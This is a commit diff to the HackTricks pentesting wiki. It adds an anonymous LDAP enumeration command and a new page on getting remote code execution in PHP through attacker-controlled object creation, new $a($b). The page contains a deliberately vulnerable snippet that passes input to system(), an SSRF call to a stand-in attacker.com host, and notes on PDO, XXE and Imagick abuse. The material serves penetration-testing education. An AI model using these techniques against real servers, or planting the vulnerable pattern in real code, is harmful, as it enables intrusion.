GitBook: [#3348] No subject

This commit is contained in:
CPol 2022-08-04 10:07:55 +00:00 committed by gitbook-bot
parent cfb80336da
commit a8b371da13
No known key found for this signature in database
GPG Key ID: 07D2180C7B12D0FF
4 changed files with 160 additions and 3 deletions

View File

@ -314,6 +314,7 @@
* [disable\_functions bypass - via mem](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-via-mem.md)
* [disable\_functions bypass - mod\_cgi](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-mod\_cgi.md)
* [disable\_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl\_exec](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl\_exec.md)
* [PHP - RCE abusing object creation: new $\_GET\["a"\]($\_GET\["b"\])](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
* [Python](network-services-pentesting/pentesting-web/python.md)
* [Special HTTP headers](network-services-pentesting/pentesting-web/special-http-headers.md)
* [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)

View File

@ -154,6 +154,14 @@ Also, you can perform a **MITM** attack in the network **between the LDAP server
**If SSL is used** you can try to make **MITM** like the mentioned above but offering a **false certificate**, if the **user accepts it**, you are able to Downgrade the authentication method and see the credentials again.
## Bypass TLS SNI check
According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:
```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
## Valid Credentials
If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:

View File

@ -46,7 +46,7 @@ PHP comparison tables: [https://www.php.net/manual/en/types.comparisons.php](htt
![](<../../../.gitbook/assets/image (40).png>)
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP.pdf" %}
* `"string" == 0 -> True` A string which doesn't start with a number is equals to a number
* `"0xAAAA" == "43690" -> True` Strings composed by numbers in dec or hex format can be compare to other numbers/strings with True as result if the numbers were the same (numbers in a string are interpreted as numbers)
@ -275,6 +275,10 @@ You can use the **web**[ **www.unphp.net**](http://www.unphp.net) **to deobfusca
PHP Wrappers ad protocols could allow you to **bypass write and read protections** in a system and compromise it. For [**more information check this page**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug unauthenticated RCE
If you see that **Xdebug** is **enabled** in a `phpconfig()` output you should try to get RCE via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
## Variable variables
```php
@ -289,9 +293,13 @@ echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## Xdebug unauthenticated RCE
## RCE abusing new $\_GET\["a"]\($\_GET\["b"])
If you see that **Xdebug** is **enabled** in a `phpconfig()` output you should try to get RCE via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
If in a page you can **create a new object of an arbitrary class** you might be able to obtain RCE, check the following page to learn how:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
{% endcontent-ref %}
## Execute PHP without letters

View File

@ -0,0 +1,140 @@
# PHP - RCE abusing object creation: new $\_GET\["a"]\($\_GET\["b"])
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
## Introduction
In the situation where you can create a new arbitrary object like `new $_GET["a"]($_GET["a"])`you might be able to obtain RCE, and [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) exposes different ways to get RCE.
## RCE via Custom Classes or Autoloading
In the construction `new $a($b)`, the **variable `$a` stands for the class name** that the object will be created for, and the variable **`$b` stands for the first argument** that will be passed to the objects constructor.
If `$a` and `$b` come from GET/POST, they can be **strings or string arrays**. If they come from **JSON** or elsewhere, they **might have other types**, such as object or boolean.
Lets consider the following example:
```php
class App {
function __construct ($cmd) {
system($cmd);
}
}
# Additionally, in PHP < 8.0 a constructor might be defined using the name of the class
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
# Vulnerable code
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
```
In this code, you can set `$a` to `App` or `App2` and `$b` to `uname -a`. After this, the command `uname -a` will be executed.
When there are no such exploitable classes in your application, or you have the class needed in a separate file that isnt included by the vulnerable code, you may take a look at autoloading functions.
**Autoloading functions** are set by registering callbacks via `spl_autoload_register` or by defining `__autoload`. They are called when an instance of an unknown class is trying to be created.
```php
# An example of an autoloading function
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
# An example of an autoloading function, works only in PHP < 8.0
function __autoload($class_name) {
include $class_name . '.php';
};
# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path
spl_autoload_register();
```
Depending on the PHP version, and the code in the autoloading functions, some ways to get a Remote Code Execution via autoloading might exist.
## RCE via Built-In Classes
When you dont have custom classes and autoloading, you can rely on **built-in PHP classes only**.
There are from 100 to 200 built-in PHP classes. The number of them depends on the PHP version and the extensions installed. All of built-in classes can be listed via the `get_declared_classes` function, together with the custom classes:
```php
var_dump(get_declared_classes());
```
Classes with useful constructors can be found via [the reflection API](https://www.php.net/manual/en/book.reflection.php).
Displaying constructors and their parameters using the reflation API: [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)\
![](https://swarm.ptsecurity.com/wp-content/uploads/2022/07/2.png)
If you control **multiple constructor parameters and can call arbitrary methods** afterwards, there are many ways to get a Remote Code Execution. But if you can pass **only one parameter and dont have any calls** to the created object, there is **almost nothing**.
I know of only three ways to get something from `new $a($b)`.
### **SSRF + Phar deserialization**
The `SplFileObject` class implements a constructor that allows connection to any local or remote URL:
```
new SplFileObject('http://attacker.com/');
```
This allows SSRF. Additionally, SSRFs in PHP < 8.0 could be turned into deserializations via techniques with the Phar protocol.
### **Exploiting PDOs**
The PDO class has another interesting constructor:
```php
new PDO("sqlite:/tmp/test.txt")
```
The `PDO` constructor accepts DSN strings, allowing us to **connect to any local or remote database** using **installed database extensions**. For example, the SQLite extension can create empty files.
### **SoapClient/SimpleXMLElement XXE**
In PHP ≤ 5.3.22 and ≤ 5.4.12, the constructor of SoapClient was **vulnerable to XXE**. The constructor of SimpleXMLElement was vulnerable to XXE as well, but it required libxml2 < 2.9.
## RCE via Imagick Extension
Checking the **dependencies** of the **project** you are trying to exploit you could find **new classes** that could be **abused to execute commands** creating a new object. In this case, **Imagick** was found to be useful for that purpose.
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>